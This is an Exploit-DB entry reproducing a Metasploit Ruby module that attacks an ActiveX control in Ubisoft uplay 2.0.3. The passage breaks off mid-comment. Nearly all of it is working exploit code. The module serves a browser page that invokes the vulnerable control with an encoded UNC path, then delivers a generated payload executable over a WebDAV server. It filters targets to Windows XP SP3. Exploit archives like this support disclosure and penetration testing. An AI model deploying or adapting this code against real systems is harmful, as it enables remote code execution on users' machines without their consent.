Exploit-DB #20321
Description: Ubisoft uplay 2.0.3 - ActiveX Control Arbitrary Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2012-08-08
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution',
			'Description'    => %q{
				The uplay ActiveX component allows an attacker to execute any command line action.
				User must sign in, unless auto-sign in is enabled and uplay must not already be
				running.  Due to the way the malicious executable is served (WebDAV), the module
				must be run on port 80, so please make sure you have enough privilege to do that.
				Ubisoft released patch 2.04 as of Mon 20th July.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Initial discovery
					'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
					'phillips321 <phillips321[at]phillips321.co.uk>',
					'Richard Hicks <scriptmonkeyblog[at]gmail.com>'
				],
			'References'     =>
				[
					[ 'OSVDB', '84402'],
					[ 'URL', 'http://seclists.org/fulldisclosure/2012/Jul/375']
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 29 2012'))

		register_options(
		[
			OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]),
			OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]),
			OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"])
		], self.class)

		# WebDAV does not support SSL and must run over port 80.
		deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH')
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def is_exploitable?(req)
		# Only engage Win XP SP3 targets
		req.headers['User-Agent'] =~ /NT 5\.1/
	end

	def on_request_uri(cli, request)
		case request.method
		when 'OPTIONS'
			process_options(cli, request)
		when 'PROPFIND'
			process_propfind(cli, request)
		when 'GET'
			if request.uri_parts['Resource'].include? @uplay_uri
				if is_exploitable?(request)
					prompt_uplay(cli, request)
				else
					print_error("Not the target we want, will not engage.")
					resp = create_response(404, "Not Found")
					resp.body = ""
					resp['Content-Type'] = 'text/html'
					cli.send_response(resp)
				end
			else
				process_get(cli, request)
			end
		else
			vprint_status("#{request.method} => 404 (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
		end
	end

	def prompt_uplay(cli, request)
		url =  "http://"
		url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"

		path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe"

		if path.length > 693
			fail_with(Exploit::Failure::Unknown,"Remote path is too long must be < 694 characters")
			return
		end

		cmd = Rex::Text.encode_base64(path)

		classid = "clsid:1c492e6a-2803-5ed7-83e1-1b1d4d41eb39"
		type = "application/x-uplaypc" # Unused but alternative to classid
		content = %Q|<html>
<body>
<script>
x = document.createElement('OBJECT');
x.classid='#{classid}';
document.body.appendChild(x);
x.open('-orbit_product_id 1 -orbit_exe_path #{cmd} -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play');
</script>
</body>
</html>|

		print_status("GET => Exploit")
		send_response_html(cli, content)
		handler(cli)
	end

	def process_get(cli, request)
		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		webdav = "\\\\#{myhost}\\"

		if blacklisted_path?(request.uri)
			vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			cli.send_response(resp)
			return
		end

		if (request.uri.include? @basename)
			print_status("GET => Payload")
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		# Treat index.html specially
		if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
			vprint_status("GET => REDIRECT (#{request.uri})")
			resp = create_response(200, "OK")

			resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|

			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
			return
		end

		# Anything else is probably a request for a data file...
		vprint_status("GET => DATA (#{request.uri})")
		data = "HELLO!"
		send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
	end

	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request)
		vprint_status("OPTIONS #{request.uri}")
		headers = {
			'MS-Author-Via' => 'DAV',
			'DASL'          => '<DAV:sql>',
			'DAV'           => '1, 2',
			'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
			'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
			'Cache-Control' => 'private'
		}
		resp = create_response(207, "Multi-Status")
		headers.each_pair {|k,v| resp[k] = v }
		resp.body = ""
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	#
	# PROPFIND r